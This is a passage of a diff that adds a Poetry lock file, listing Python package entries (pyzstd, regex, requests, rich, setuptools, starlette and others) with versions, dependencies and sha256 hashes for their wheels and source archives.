+ {file = "pyzstd-0.15.9-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:c41e5457f4de5d38a270bc44619873589bbe6fe251225deec583ed20199df0f3"},
+ {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f169e166774587227255f6ffe71f5b3303ea73cde0e2c6d52e53b9e12c03d787"},
+ {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:639935b5b3d9ed3911493504581254b76cb578279302f7f340924ac5bfca4090"},
+ {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e4e00c1600022b47ef0e9e1f893cb0c2322209ec6c1581a3e3f63ed78330ddf0"},
+ {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:d7ddbf234c9adc72189bb552d830e9a0c2c4401b5baf7b003eacd5c552ddcc00"},
+ {file = "pyzstd-0.15.9-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3351ad2feb51dcbb936defd47cab00d6f114214f224636503ed08298f30164c9"},
+ {file = "pyzstd-0.15.9-cp39-cp39-win32.whl", hash = "sha256:3bc0e7e2cccf78e562ab416daf68448b6552a5b6450a1ff3e15cabfc19254883"},
+ {file = "pyzstd-0.15.9-cp39-cp39-win_amd64.whl", hash = "sha256:40bdb468281a5cd525e2e990b97344f0974e0589bd1b395501c25471fcd7edda"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:47c2a4c319300c381f194274203f47b12c433e1fd86b90ecdc7fb258c630f93b"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86e0e65e205793b337d62d9764700dfd02b5f83b01e26ad345736e7ac0554ebd"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64564f4c175c5bb8e744de5816d69ee0b940e472160a5e665f30adc412b694f3"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:dca286c6c1ca5febf13f5f2ae7e8aa7536e49bd07f4232796651a43ff741ceca"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:a594795ef89bd83297c860ff585f2d25580ce9805eb9cc44c831d311e7f1951a"},
+ {file = "pyzstd-0.15.9-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:4a0dcb32ac4d1d67a77ae6a2d60ea0921af7e682b3427202d8acb8e86642391c"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a90b901ccfd24b028faea19c927ff03f3cfefe82ba0b931fbb8da4ef0664911b"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:31f60f01884350aec24e7a68f3ad089151b7a636490203c41a1a7c8e0cddd9b8"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1d8b58f00137ccbe8b828a5ede92be3f0115cef75e6bed88d4d0bd1e7a0b1fc"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2b093a74b10232c70b5d29814fcee6544bb6f30e2d922d26db9ab4b4cd00c04"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:1dbe76b6d8fe75f6dbec24793fc07b1d1ae9464de9941138d5b9668f7670e6b0"},
+ {file = "pyzstd-0.15.9-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:6b9af8d62c087354abd071e01d9445ea51b31779c8a4a0d5c14ee12caee3d18f"},
+ {file = "pyzstd-0.15.9-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a4f786f1b1ab39a0908db04ebe5b2c7cbc6f1ce07a27d3a12eb980bffd7fea7d"},
+ {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cffaab46f9e04856dc3daa6097bfb3d3bea0b1771237e869c57b13f3dcc2c238"},
+ {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a4334e972109bdd17fb40dbdd9fcca6137648cab416fca505a2dcd186f50533"},
+ {file = "pyzstd-0.15.9-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73877eebbdcb8259cf0099665f8c8274d4273b361371405a611fb6bd9f4d64f6"},
+ {file = "pyzstd-0.15.9-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:289e25871fe232d2482c0985a75a1faa7c92e10a6c3e3914d165f62d005d0aa6"},
+ {file = "pyzstd-0.15.9.tar.gz", hash = "sha256:cbfdde6c5768ffa5d2f14127bbc1d7c3c2d03c0ceaeb0736946197e06275ccc7"},
+]
+
+[[package]]
+name = "regex"
+version = "2023.6.3"
+description = "Alternative regular expression module, to replace re."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "regex-2023.6.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:824bf3ac11001849aec3fa1d69abcb67aac3e150a933963fb12bda5151fe1bfd"},
+ {file = "regex-2023.6.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:05ed27acdf4465c95826962528f9e8d41dbf9b1aa8531a387dee6ed215a3e9ef"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b49c764f88a79160fa64f9a7b425620e87c9f46095ef9c9920542ab2495c8bc"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8e3f1316c2293e5469f8f09dc2d76efb6c3982d3da91ba95061a7e69489a14ef"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:43e1dd9d12df9004246bacb79a0e5886b3b6071b32e41f83b0acbf293f820ee8"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4959e8bcbfda5146477d21c3a8ad81b185cd252f3d0d6e4724a5ef11c012fb06"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:af4dd387354dc83a3bff67127a124c21116feb0d2ef536805c454721c5d7993d"},
+ {file = "regex-2023.6.3-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2239d95d8e243658b8dbb36b12bd10c33ad6e6933a54d36ff053713f129aa536"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:890e5a11c97cf0d0c550eb661b937a1e45431ffa79803b942a057c4fb12a2da2"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a8105e9af3b029f243ab11ad47c19b566482c150c754e4c717900a798806b222"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:25be746a8ec7bc7b082783216de8e9473803706723b3f6bef34b3d0ed03d57e2"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:3676f1dd082be28b1266c93f618ee07741b704ab7b68501a173ce7d8d0d0ca18"},
+ {file = "regex-2023.6.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:10cb847aeb1728412c666ab2e2000ba6f174f25b2bdc7292e7dd71b16db07568"},
+ {file = "regex-2023.6.3-cp310-cp310-win32.whl", hash = "sha256:dbbbfce33cd98f97f6bffb17801b0576e653f4fdb1d399b2ea89638bc8d08ae1"},
+ {file = "regex-2023.6.3-cp310-cp310-win_amd64.whl", hash = "sha256:c5f8037000eb21e4823aa485149f2299eb589f8d1fe4b448036d230c3f4e68e0"},
+ {file = "regex-2023.6.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c123f662be8ec5ab4ea72ea300359023a5d1df095b7ead76fedcd8babbedf969"},
+ {file = "regex-2023.6.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9edcbad1f8a407e450fbac88d89e04e0b99a08473f666a3f3de0fd292badb6aa"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dcba6dae7de533c876255317c11f3abe4907ba7d9aa15d13e3d9710d4315ec0e"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:29cdd471ebf9e0f2fb3cac165efedc3c58db841d83a518b082077e612d3ee5df"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:12b74fbbf6cbbf9dbce20eb9b5879469e97aeeaa874145517563cca4029db65c"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0c29ca1bd61b16b67be247be87390ef1d1ef702800f91fbd1991f5c4421ebae8"},
+ {file = "regex-2023.6.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d77f09bc4b55d4bf7cc5eba785d87001d6757b7c9eec237fe2af57aba1a071d9"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ea353ecb6ab5f7e7d2f4372b1e779796ebd7b37352d290096978fea83c4dba0c"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:10590510780b7541969287512d1b43f19f965c2ece6c9b1c00fc367b29d8dce7"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:e2fbd6236aae3b7f9d514312cdb58e6494ee1c76a9948adde6eba33eb1c4264f"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:6b2675068c8b56f6bfd5a2bda55b8accbb96c02fd563704732fd1c95e2083461"},
+ {file = "regex-2023.6.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:74419d2b50ecb98360cfaa2974da8689cb3b45b9deff0dcf489c0d333bcc1477"},
+ {file = "regex-2023.6.3-cp311-cp311-win32.whl", hash = "sha256:fb5ec16523dc573a4b277663a2b5a364e2099902d3944c9419a40ebd56a118f9"},
+ {file = "regex-2023.6.3-cp311-cp311-win_amd64.whl", hash = "sha256:09e4a1a6acc39294a36b7338819b10baceb227f7f7dbbea0506d419b5a1dd8af"},
+ {file = "regex-2023.6.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0654bca0cdf28a5956c83839162692725159f4cda8d63e0911a2c0dc76166525"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:463b6a3ceb5ca952e66550a4532cef94c9a0c80dc156c4cc343041951aec1697"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87b2a5bb5e78ee0ad1de71c664d6eb536dc3947a46a69182a90f4410f5e3f7dd"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6343c6928282c1f6a9db41f5fd551662310e8774c0e5ebccb767002fcf663ca9"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b6192d5af2ccd2a38877bfef086d35e6659566a335b1492786ff254c168b1693"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74390d18c75054947e4194019077e243c06fbb62e541d8817a0fa822ea310c14"},
+ {file = "regex-2023.6.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:742e19a90d9bb2f4a6cf2862b8b06dea5e09b96c9f2df1779e53432d7275331f"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:8abbc5d54ea0ee80e37fef009e3cec5dafd722ed3c829126253d3e22f3846f1e"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:c2b867c17a7a7ae44c43ebbeb1b5ff406b3e8d5b3e14662683e5e66e6cc868d3"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:d831c2f8ff278179705ca59f7e8524069c1a989e716a1874d6d1aab6119d91d1"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:ee2d1a9a253b1729bb2de27d41f696ae893507c7db224436abe83ee25356f5c1"},
+ {file = "regex-2023.6.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:61474f0b41fe1a80e8dfa70f70ea1e047387b7cd01c85ec88fa44f5d7561d787"},
+ {file = "regex-2023.6.3-cp36-cp36m-win32.whl", hash = "sha256:0b71e63226e393b534105fcbdd8740410dc6b0854c2bfa39bbda6b0d40e59a54"},
+ {file = "regex-2023.6.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bbb02fd4462f37060122e5acacec78e49c0fbb303c30dd49c7f493cf21fc5b27"},
+ {file = "regex-2023.6.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b862c2b9d5ae38a68b92e215b93f98d4c5e9454fa36aae4450f61dd33ff48487"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976d7a304b59ede34ca2921305b57356694f9e6879db323fd90a80f865d355a3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:83320a09188e0e6c39088355d423aa9d056ad57a0b6c6381b300ec1a04ec3d16"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9427a399501818a7564f8c90eced1e9e20709ece36be701f394ada99890ea4b3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7178bbc1b2ec40eaca599d13c092079bf529679bf0371c602edaa555e10b41c3"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:837328d14cde912af625d5f303ec29f7e28cdab588674897baafaf505341f2fc"},
+ {file = "regex-2023.6.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:2d44dc13229905ae96dd2ae2dd7cebf824ee92bc52e8cf03dcead37d926da019"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:d54af539295392611e7efbe94e827311eb8b29668e2b3f4cadcfe6f46df9c777"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7117d10690c38a622e54c432dfbbd3cbd92f09401d622902c32f6d377e2300ee"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:bb60b503ec8a6e4e3e03a681072fa3a5adcbfa5479fa2d898ae2b4a8e24c4591"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:65ba8603753cec91c71de423a943ba506363b0e5c3fdb913ef8f9caa14b2c7e0"},
+ {file = "regex-2023.6.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:271f0bdba3c70b58e6f500b205d10a36fb4b58bd06ac61381b68de66442efddb"},
+ {file = "regex-2023.6.3-cp37-cp37m-win32.whl", hash = "sha256:9beb322958aaca059f34975b0df135181f2e5d7a13b84d3e0e45434749cb20f7"},
+ {file = "regex-2023.6.3-cp37-cp37m-win_amd64.whl", hash = "sha256:fea75c3710d4f31389eed3c02f62d0b66a9da282521075061ce875eb5300cf23"},
+ {file = "regex-2023.6.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8f56fcb7ff7bf7404becdfc60b1e81a6d0561807051fd2f1860b0d0348156a07"},
+ {file = "regex-2023.6.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d2da3abc88711bce7557412310dfa50327d5769a31d1c894b58eb256459dc289"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a99b50300df5add73d307cf66abea093304a07eb017bce94f01e795090dea87c"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5708089ed5b40a7b2dc561e0c8baa9535b77771b64a8330b684823cfd5116036"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:687ea9d78a4b1cf82f8479cab23678aff723108df3edeac098e5b2498879f4a7"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4d3850beab9f527f06ccc94b446c864059c57651b3f911fddb8d9d3ec1d1b25d"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8915cc96abeb8983cea1df3c939e3c6e1ac778340c17732eb63bb96247b91d2"},
+ {file = "regex-2023.6.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:841d6e0e5663d4c7b4c8099c9997be748677d46cbf43f9f471150e560791f7ff"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:9edce5281f965cf135e19840f4d93d55b3835122aa76ccacfd389e880ba4cf82"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:b956231ebdc45f5b7a2e1f90f66a12be9610ce775fe1b1d50414aac1e9206c06"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:36efeba71c6539d23c4643be88295ce8c82c88bbd7c65e8a24081d2ca123da3f"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:cf67ca618b4fd34aee78740bea954d7c69fdda419eb208c2c0c7060bb822d747"},
+ {file = "regex-2023.6.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b4598b1897837067a57b08147a68ac026c1e73b31ef6e36deeeb1fa60b2933c9"},
+ {file = "regex-2023.6.3-cp38-cp38-win32.whl", hash = "sha256:f415f802fbcafed5dcc694c13b1292f07fe0befdb94aa8a52905bd115ff41e88"},
+ {file = "regex-2023.6.3-cp38-cp38-win_amd64.whl", hash = "sha256:d4f03bb71d482f979bda92e1427f3ec9b220e62a7dd337af0aa6b47bf4498f72"},
+ {file = "regex-2023.6.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ccf91346b7bd20c790310c4147eee6ed495a54ddb6737162a36ce9dbef3e4751"},
+ {file = "regex-2023.6.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:b28f5024a3a041009eb4c333863d7894d191215b39576535c6734cd88b0fcb68"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e0bb18053dfcfed432cc3ac632b5e5e5c5b7e55fb3f8090e867bfd9b054dbcbf"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9a5bfb3004f2144a084a16ce19ca56b8ac46e6fd0651f54269fc9e230edb5e4a"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5c6b48d0fa50d8f4df3daf451be7f9689c2bde1a52b1225c5926e3f54b6a9ed1"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:051da80e6eeb6e239e394ae60704d2b566aa6a7aed6f2890a7967307267a5dc6"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4c3b7fa4cdaa69268748665a1a6ff70c014d39bb69c50fda64b396c9116cf77"},
+ {file = "regex-2023.6.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:457b6cce21bee41ac292d6753d5e94dcbc5c9e3e3a834da285b0bde7aa4a11e9"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:aad51907d74fc183033ad796dd4c2e080d1adcc4fd3c0fd4fd499f30c03011cd"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:0385e73da22363778ef2324950e08b689abdf0b108a7d8decb403ad7f5191938"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:c6a57b742133830eec44d9b2290daf5cbe0a2f1d6acee1b3c7b1c7b2f3606df7"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:3e5219bf9e75993d73ab3d25985c857c77e614525fac9ae02b1bebd92f7cecac"},
+ {file = "regex-2023.6.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:e5087a3c59eef624a4591ef9eaa6e9a8d8a94c779dade95d27c0bc24650261cd"},
+ {file = "regex-2023.6.3-cp39-cp39-win32.whl", hash = "sha256:20326216cc2afe69b6e98528160b225d72f85ab080cbdf0b11528cbbaba2248f"},
+ {file = "regex-2023.6.3-cp39-cp39-win_amd64.whl", hash = "sha256:bdff5eab10e59cf26bc479f565e25ed71a7d041d1ded04ccf9aee1d9f208487a"},
+ {file = "regex-2023.6.3.tar.gz", hash = "sha256:72d1a25bf36d2050ceb35b517afe13864865268dfb45910e2e17a84be6cbfeb0"},
+]
+
+[[package]]
+name = "requests"
+version = "2.31.0"
+description = "Python HTTP for Humans."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"},
+ {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<3"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rfc3986"
+version = "1.5.0"
+description = "Validating URI References per RFC 3986"
+optional = false
+python-versions = "*"
+files = [
+ {file = "rfc3986-1.5.0-py2.py3-none-any.whl", hash = "sha256:a86d6e1f5b1dc238b218b012df0aa79409667bb209e58da56d0b94704e712a97"},
+ {file = "rfc3986-1.5.0.tar.gz", hash = "sha256:270aaf10d87d0d4e095063c65bf3ddbc6ee3d0b226328ce21e036f946e421835"},
+]
+
+[package.dependencies]
+idna = {version = "*", optional = true, markers = "extra == \"idna2008\""}
+
+[package.extras]
+idna2008 = ["idna"]
+
+[[package]]
+name = "rich"
+version = "13.4.2"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"},
+ {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "s3transfer"
+version = "0.6.1"
+description = "An Amazon S3 Transfer Manager"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"},
+ {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"},
+]
+
+[package.dependencies]
+botocore = ">=1.12.36,<2.0a.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"]
+
+[[package]]
+name = "setuptools"
+version = "68.0.0"
+description = "Easily download, build, install, upgrade, and uninstall Python packages"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "setuptools-68.0.0-py3-none-any.whl", hash = "sha256:11e52c67415a381d10d6b462ced9cfb97066179f0e871399e006c4ab101fc85f"},
+ {file = "setuptools-68.0.0.tar.gz", hash = "sha256:baf1fdb41c6da4cd2eae722e135500da913332ab3f2f5c7d33af9b492acb5235"},
+]
+
+[package.extras]
+docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-hoverxref (<2)", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (==0.8.3)", "sphinx-reredirects", "sphinxcontrib-towncrier"]
+testing = ["build[virtualenv]", "filelock (>=3.4.0)", "flake8-2020", "ini2toml[lite] (>=0.9)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pip (>=19.1)", "pip-run (>=8.8)", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=1.3)", "pytest-mypy (>=0.9.1)", "pytest-perf", "pytest-ruff", "pytest-timeout", "pytest-xdist", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel"]
+testing-integration = ["build[virtualenv]", "filelock (>=3.4.0)", "jaraco.envs (>=2.2)", "jaraco.path (>=3.2.0)", "pytest", "pytest-enabler", "pytest-xdist", "tomli", "virtualenv (>=13.0.0)", "wheel"]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "smmap"
+version = "5.0.0"
+description = "A pure Python implementation of a sliding window memory map manager"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"},
+ {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"},
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.0"
+description = "Sniff out which async library your code is running under"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"},
+ {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"},
+]
+
+[[package]]
+name = "starlette"
+version = "0.19.1"
+description = "The little ASGI library that shines."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"},
+ {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"},
+]
+
+[package.dependencies]
+anyio = ">=3.4.0,<5"
+
+[package.extras]
+full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"]
+
+[[package]]
+name = "stevedore"
+version = "5.1.0"
+description = "Manage dynamic plugins for Python applications"
+optional = false
+python-versions = ">=3.8"
+files = [
